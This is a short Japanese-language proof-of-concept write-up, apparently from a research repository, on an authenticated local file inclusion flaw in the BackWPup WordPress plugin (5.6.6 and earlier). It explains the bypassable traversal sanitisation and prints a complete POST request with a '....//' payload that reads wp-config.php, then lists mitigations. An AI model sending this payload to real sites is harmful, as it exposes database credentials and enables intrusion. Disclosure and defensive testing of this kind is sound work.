BackWPup バージョン 5.6.6 以前は、/wp-json/backwpup/v1/getblock REST エンドポイントの block_name パラメータを介した、認証済みローカルファイルインクルード(LFI)脆弱性の影響を受けます。
この欠陥は、トラバーサルシーケンスの非再帰的な str_replace() サニタイズ処理によって引き起こされ、バージョン 5.6.7 で修正済みです。
このリポジトリは、教育および倫理的なセキュリティ研究のみを目的としています。ここで提供される情報は、管理者やセキュリティチームがシステムを検証するのに役立つことを意図しています。明示的な書面による許可なしに、対象に対してこれを使用しないでください。
BackWPupHelpers::component()POST /wp-json/backwpup/v1/getblockblock_name脆弱なコンポーネントローダーは、include() を呼び出す前に非再帰的な str_replace() サニタイズ処理を適用します。これは、....// や ..././ などの巧妙に細工されたトラバーサルパターンを使用してバイパスでき、攻撃者が制御するパス解決を可能にします。
wp-config.php)デフォルトでは、悪用には管理者レベルのアクセスが必要です。バックアップ権限が委任されている場合、低権限ユーザーもこの問題を悪用できる可能性があります。
/wp-json/backwpup/v1/getblock への正当な POST リクエストを特定します。block_name をトラバーサルペイロードに置き換えます。リクエスト例:
POST /wp-json/backwpup/v1/getblock HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-WP-Nonce: <your_nonce_here>
Cookie: wordpress_logged_in_<hash>=<your_session_cookie>
block_name=....//....//....//....//wp-config&block_type=component&block_data%5Btype%5D=success&block_data%5Bfont%5D=small&block_data%5Bdismiss_icon%5D=true&block_data%5Bcontent%5D=You+scheduled+a+new+backup+successfully!
backwpup 権限の割り当てを信頼できるロールのみに制限する/wp-json/backwpup/v1/getblock への不審なアクセスについて監査ログを確認する